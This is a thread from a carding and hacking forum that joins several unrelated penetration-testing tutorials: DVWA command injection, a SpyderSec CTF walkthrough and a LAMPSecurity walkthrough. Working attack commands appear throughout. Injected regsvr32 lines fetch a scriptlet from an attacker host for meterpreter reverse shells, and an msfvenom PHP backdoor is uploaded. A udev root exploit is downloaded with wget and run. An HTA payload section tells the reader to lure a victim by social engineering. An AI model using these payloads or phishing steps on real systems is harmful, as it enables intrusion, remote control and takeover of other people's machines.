[Guide] Command Injection Exploitation in DVWA using Metasploit (Bypass All Security)

[Guide] Command Injection Exploitation in DVWA using Metasploit (Bypass All Security) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Community (https://bhcforums.cc/Forum-Community)
+--- Forum: General Discussion (https://bhcforums.cc/Forum-General-Discussion)
+--- Thread: [Guide] Command Injection Exploitation in DVWA using Metasploit (Bypass All Security) (/Thread-Guide-Command-Injection-Exploitation-in-DVWA-using-Metasploit-Bypass-All-Security)

[Guide] Command Injection Exploitation in DVWA using Metasploit (Bypass All Security) - NINZA - 04-24-2020

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands. Source:

[To see content please register here]

First install the DVWA in your PC full article read

[To see content please register here]

Now open the DVWA in your pc and login with following credentials:

Username – admin

Password – password

Bypass Low Level Security

Click on DVWA Security and set Website Security Level low

Use “&&” in command injection to bypass low security of this server.

Go to the command execution page Enter an IP address and click on submit.
[Image: 2.1.png?w=687&ssl=1]

Now you can see the reply that tells us that we have establish a connection with the server. I have tried this numerous times just to be sure and so can you, therefore, whenever you will execute this cammand you will see the following :

We can also implement multiple commands simultaneously just by using & sign. For example next command is :

192.168.1.100 && dir
1
192.168.1.100 && dir

After the above command click on submit, performing the said command will itemize all directories and files.

We have found 4 directories and a file and also that path of the directory.
[Image: 3.png?w=687&ssl=1]

Next command is 192.168.1.100 && net user click on submit, this command will show the user’s list
[Image: 4.1.png?w=687&ssl=1]

Various commands are available which when submitted will give the intended outcome. So firstly, we will find a way to transfer our malevolent payload to the remote machine and for that I am using my favorite tool metasploit. To use metasploit al you have to do is type msfconsole in kali terminal and then type the following commands

msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit
1
2
3
4
5
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit

We can use the following command in order to open a port on the remote host and to connect back to it with metasploit.

192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

and click on submit

Now you will get meterpreter session of victim’s PC. And type sysinfo to get system information.
[Image: 7.png?w=687&ssl=1]

Bypass Medium Level Security
Click on DVWA Security and set Website Security Level Medium
Use pipe “|” in command injection to bypass medium security of this server.
[Image: 8.png?w=687&ssl=1]

Follow same process as above using metasploit and further type :

192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

Again we got meterpreter session 2
[Image: 10.png?w=687&ssl=1]

Bypass High Level Security
Click on DVWA Security and set Website Security Level High
Try to use pipe “||” in command injection to bypass high security of this server
[Image: 11.png?w=687&ssl=1]

Follow same process as above using metasploit

192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
1
192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll

and click on submit

Yes, we have got meterpreter session 3!!
[Image: 13.png?w=687&ssl=1]

Finally we have completed all three level low, medium, high in DVWA.

This module hosts an HTML Application (HTA) that when opened will run a payload via Powershell. When a user navigates to the HTA file they will be prompted by IE twice before the payload is executed

Exploit Targets

Windows All Versions

Requirement

Attacker: Kali Linux

Victim PC: Windows 10

Open Kali terminal type msfconsole

use exploit/windows/misc/hta_server
msf exploit (hta_server)>set lhost 192.168.0.104
msf exploit (hta_server)>set srvhost 192.168.0.104
msf exploit (hta_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (hta_server)>set lport 8443
msf exploit (hta_server)>exploit
1
2
3
4
5
6
use exploit/windows/misc/hta_server
msf exploit (hta_server)>set lhost 192.168.0.104
msf exploit (hta_server)>set srvhost 192.168.0.104
msf exploit (hta_server)>set payload windows/meterpreter/reverse_tcp
msf exploit (hta_server)>set lport 8443
msf exploit (hta_server)>exploit

Send the link of the server to the victim via chat or email or any social engineering technique.

When Victim Machine browsing to your link it will download anything.hta file when victim click on it you will get the meterpreter session

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“

In this article, we are going to solve another CTF challenge “SpyderSec” presented by vulnhub.com to practice OSCP lab challenges.
Challenge: You are looking for two flags. Using discovered pointers in various elements of the running web application you can deduce the first flag (a downloadable file) which is required to find the second flag (a text file). Look, read and maybe even listen. You will need to use basic web application recon skills as well as some forensics to find both flags.
You can download it from here:

[To see content please register here]

Level: Intermediate
Penetrating Methodologies:

Network Scanning (Netdiscover, Nmap)
Extracting Metadata (ExifTool)
Decoding Hex to Ascii
Exploit eval function using javascript unpackage.
Capture HTTP request (Burpsuit)
Decode the URI to get them under.fbi file
Unlock the hidden drive (veracrypt)
Capture the Flag.

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
Our target is 192.168.1.101. Scan the target with nmap.
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
[Image: 1.png?w=687&ssl=1]

There are only two ports open i.e. 22 and 80 for SSH and HTTPS respectively. Next, I opened this page in the browser.
[Image: 2.png?w=687&ssl=1]

There was nothing major on the page except for two images. There is a possibility about metadata behind these images. Therefore, I read these images with the exif tool. One of the images which were saved by the name of “challenge” had a comment behind it. To read it type:
exiftool Challenge.png
1
exiftool Challenge.png
[Image: 3.png?w=687&ssl=1]

If you observe closely the comment is in hexadecimal form. We need to convert it into a readable form. No third party tool is required just go online to hex to Ascii converter copy the string and paste it in the text box and then click the convert button.
[Image: 4.png?w=687&ssl=1]

After converting we again have the hexadecimal string. No problem. Let’s convert it again as we did earlier.
[Image: 5.png?w=687&ssl=1]

This time we got base 64 encode and to decode it we use the following command.
echo 'bas64 text' |base64 -d
1
echo 'bas64 text' |base64 -d
Now finally we have a readable string. This can be a password or a directory. Note it down for future use.
[Image: 6.1.png?w=687&ssl=1]

Moving on if you go through the source code of the home web page you will find that evil function is quite unusual.
[Image: 6.png?w=687&ssl=1]

I searched about eval function on google and found that it is a javascript. There can be code hidden behind it. So let’s unpack it with the javascript unpacker.
After unpacking you will again come face to face with a hexadecimal string. Convert this string just like before.
[Image: 7.png?w=687&ssl=1]

After conversion, the string became “alert(‘mulder.fbi);”.
[Image: 8.png?w=687&ssl=1]

I explored a lot and search a lot but found nothing about it so decided to capture its cookies through BurpSuite.
[Image: 9.png?w=687&ssl=1]

In cookies, I found an encoded URI that means it’s a part of a link. From here copy the link and open it in the browser.
[Image: 10.png?w=687&ssl=1]

Now when I opened it there was an error. Then I explored a d bit and remembered that there was a mulder.fbi so I added that to the link.
[Image: 11.png?w=687&ssl=1]

After adding mulder.fbi to the link it asked me to download a file. Save it.
[Image: 15.png?w=687&ssl=1]

When you open the file that you just saved then it will play a video with different quotes. Now I was clueless about this so I started searching about it on Google. And I found out that it was a TrueCrypt file. So to see what is hidden type:
python tcsteg.py mulder.fbi
1
python tcsteg.py mulder.fbi
[Image: 17.png?w=687&ssl=1]

There was a whole drive hidden behind it. And using veracrypt you can see and open the drive.
[Image: 18.png?w=687&ssl=1]

When you open it will ask for a password and we have found the password beforehand. So give the password there.
[Image: 19.png?w=687&ssl=1]

Hence the drive will be unlocked. Now open the drive. And you will find a flag there.
[Image: 20.png?w=687&ssl=1]

The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises too.
These exercises can be used for training purposes by following this documentation. Alternatively, you may wish to test new tools, using the CTF virtual machines as targets. This is especially helpful in evaluating the effectiveness of vulnerability discovery or penetration testing tools.

Download from

[To see content please register here]

.

Penetration Testing Methodology

Network Scanning
- netdiscover
- nmap port scan
Enumeration
- Performing Directory Bruteforce
- Exploring directories to find out the username and password
Exploiting
- Using a backdoor
- Using netcat/msfconsole
Privilege Escalation
- Changing the password of root and other users

Walkthrough
Network Scanning
The first step to attack is to identify the target. So, to identify the target, we will use the following command:
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now we will use nmap to gain information about the open ports and the services running on the target machine using the following command
nmap -sV -sT -p- 192.168.43.30
1
nmap -sV -sT -p- 192.168.43.30
[Image: 2.png?w=687&ssl=1]

Enumeration
Further, we need to start enumeration against the host machine, therefore we navigated to a web browser for exploring different service. Here we have a web application so let’s explore the web application.

[To see content please register here]

Further, let’s try to find some hidden files and directories. Finding files and directories can discover much useful information like username, password or some configuration files, etc. We will use the following command for the said:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We found two major directories i.e. /files/ and /sql/. We can tell from their names that are quite important.
[Image: 5.png?w=687&ssl=1]

Now our next step is to explore these two directories. We can also explore other directories but the rest of the directories don’t seem to be useful for us.

[To see content please register here]

On exploring the files/ directory there multiple valid and useful files we found with a lot of information as you can see in the image below:
[Image: 6.png?w=687&ssl=1]

[To see content please register here]

Upon traversing through sql/ directory, we found a db.sql and when opened it gave us all the information about the database including username and password just as shown in the image below:
[Image: 7.png?w=687&ssl=1]

Now let’s try to login into the admin panel using the username: ‘admin’ and password: ‘adminpass’
[Image: 8.png?w=687&ssl=1]

We succeed in login. Now we have the admin panel from where we can manage the web application. Let’s see if we can add some more pages to the application so that we can upload a PHP backdoor.
As we can add a new event, so, here we will create a backdoor using msfvenom first and then we will upload this shell.php file on the website. To create the shell type:
msfvenom -p php/meterpreter/reverse_tcp -o /root/Music/shell.php lport=4444 lhost=192.168.43.248
1
msfvenom -p php/meterpreter/reverse_tcp -o /root/Music/shell.php lport=4444 lhost=192.168.43.248
[Image: 10.png?w=687&ssl=1]

After this, upload the shell by adding a new event as shown in the image below:
[Image: 11.png?w=687&ssl=1]

Finally, we have uploaded a malicious file. Now we will use msfconsole or we can also use netcat to get a session in order to perform more operations to gain root access.
So, to access the ‘shell.php’ we will explore the directory URL:

[To see content please register here]

Now let’s fire up the msfconsole and we have to type in these commands in msfconsole to get a session
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.248
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > exploit
1
2
3
4
5
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.248
msf5 exploit(multi/handler) > set lport 4444
msf5 exploit(multi/handler) > exploit
[Image: 13.png?w=687&ssl=1]

Press enter after typing ‘exploit’ and go back to the URL:

[To see content please register here]

And click on ‘shell.php’ and then come back to the msfconsole, now we can see we have got a session.
[Image: 14.png?w=687&ssl=1]

Now we have a session, so let’s run the command ‘sysinfo’ to find out some information related to kernel version and its architecture.
sysinfo
1
sysinfo
[Image: 15.png?w=687&ssl=1]

Kernel version is 2.6.18-92.el5 .
We have to search a lot to know more about this kernel version and after doing a lot of research we find out that this kernel version is vulnerable to udev exploit.
Now, we will use a script to gain root access, script name is 8478.sh, we can find this exploit/code in our Kali Linux OS.
Let’s copy this file from our OS to the directory where we have created our backdoor that is /root/Music using the cp command:
cp /usr/share/exploitdb/exploits/linux/local/8478.sh /root/Music
cd /root/Music/
ls -l
1
2
3
cp /usr/share/exploitdb/exploits/linux/local/8478.sh /root/Music
cd /root/Music/
ls -l
[Image: 16.png?w=687&ssl=1]

Now, let’s run a simple HTTP Server using python so that we can download this file in our targeted system.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 17.png?w=687&ssl=1]

Now let’s drop a shell in our targeted system using the same meterpreter session
sysinfo
1
sysinfo
[Image: 18.png?w=687&ssl=1]

This is a very limited shell. using this shell, we can’t do privilege escalation. Now for gaining a more advance shell, we will use python’s pty module using the following command
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
[Image: 19.png?w=687&ssl=1]

Now we have a shell where we can try different commands to gain root access. First of all, let’s change the directory to /tmp using the cd command
cd /tmp
pwd
1
2
cd /tmp
pwd
[Image: 20.png?w=687&ssl=1]

Now we have to download 8478.sh file here so that we can exploit the system. We can download the file using wget command:
wget

[To see content please register here]

-q
1
wget

[To see content please register here]

-q

Now change the permissions to executable using the chmod command:
ls
chmod +x 8478.sh
1
2
ls
chmod +x 8478.sh
[Image: 22.png?w=687&ssl=1]

It’s time to run the script and gain the root access, run the script using ‘./8478.sh’
./8478.sh
1
./8478.sh
[Image: 23.png?w=687&ssl=1]

Many of us will get this error. We will search for this error and finally, we have found a solution to this error we can resolve this issue using the following command:
sed -i -e 's/\r$//' 8478.sh
1
sed -i -e 's/\r$//' 8478.sh
[Image: 24.png?w=687&ssl=1]

Try again to run the script using:
./8478.sh
1
./8478.sh
[Image: 25.png?w=687&ssl=1]

The reason behind this error is, it requires some experimentation as you have to provide the proper PID to the script in order for the code to work. So now we have to find a proper PID and with the help of that PID, we will run the script. To get the PID run the following command:
cat /proc/net/netlink
1
cat /proc/net/netlink
[Image: 26.png?w=687&ssl=1]

Run the script again using the PID 376 using the command below:
./8478.sh 376
whoami
1
2
./8478.sh 376
whoami
[Image: 27.png?w=687&ssl=1]

Boom! We have gained the root access!
Let’s do some more operations. Head into the /home directory using command cd /home. In the home directory, we have to find out more users. As we are root, we can change any user password using the command passwd john similarly we can change the root password using the same command.
passwd root
id
su john
su -l
ls
1
2
3
4
5
passwd root
id
su john
su -l
ls
[Image: 28.png?w=687&ssl=1]